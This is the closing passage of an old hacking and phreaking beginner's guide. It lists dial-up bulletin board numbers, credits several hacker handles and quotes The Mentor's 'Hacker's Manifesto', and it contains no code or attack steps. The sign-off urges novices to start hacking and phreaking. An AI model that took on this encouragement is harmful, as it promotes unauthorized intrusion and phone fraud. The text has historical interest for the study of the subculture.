I. Hacking and phreaking BBS's

BBS's are Bulletin Board Systems on which hackers and phreakers can post messages to each other.
Here is a list of some BBS's that I know of. If you know of any other BBS's, please E-Mail me via the A.S.H. E-Mail address. Also, Please note that some of these may be old and not running.

Area Code: Phone Number: Name:

203 832-8441 Rune Stone
210 493-9975 The Truth Sayer's Domain
303 343-4053 Hacker's Haven
315 656-5135 Independent Nation
315 656-5135 UtOPiA 617 855-2923 Maas-Neotek
708 676-9855 Apocalypse 2000
713 579-2276 KOdE AbOdE
806 747-0802 Static Line
908 526-4384 Area 51
502 499-8933 Blitzkrieg
510 935-5845 ...Screaming Electron
408 747-0778 The Shrine
708 459-7267 The Hell Pit
415 345-2134 Castle Brass
415 697-1320 7 Gates Of Hell

J. Cool hackers and phreakers

Yes there are many, many, cool hackers and phreakers out there, but these are some that
helped me to get this file out on the Internet. I did not list a few people because I only
knew their real name, and I don't want to use their real name without their permission.

Handle:

Silicon Toad

Logik Bomb/Net Assasin

oleBuzzard

Lord Somer

Weezel

Thanks for your help guys.

K. Hacker's Manifesto

"This is our world now...the world of the electron and the switch, the beauty of the baud.
We make use of a service already existing without paying for what could be dirt cheep if it
wasn't run by profiteering gluttons, and you call us criminals. We explore...and you call us
criminals. We exist without skin color, without nationality, without religious bias...and you
call us criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us and try to
make us believe it is for our own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by
what they say and think, not what they look like. My crime is that of outsmarting you, something
that you will never forgive me for. I am a hacker and this is my manifesto. You may stop this
individual, but you can't stop us all...after all, we're all alike."

+++The Mentor+++

K. Happy hacking!

Be careful and have fun. Remember to keep your eye out for the next volume of
The Ultimate Beginner's Guide To Hacking And Phreaking and the Legion Of the Apocalypse
W.W.W. page. Oh, and keep looking for our on-line magazine, too, it should be coming out
soon. Well, I hope you enjoyed the file and found it informative. I also hope that I
helped get you started in hacking and phreaking.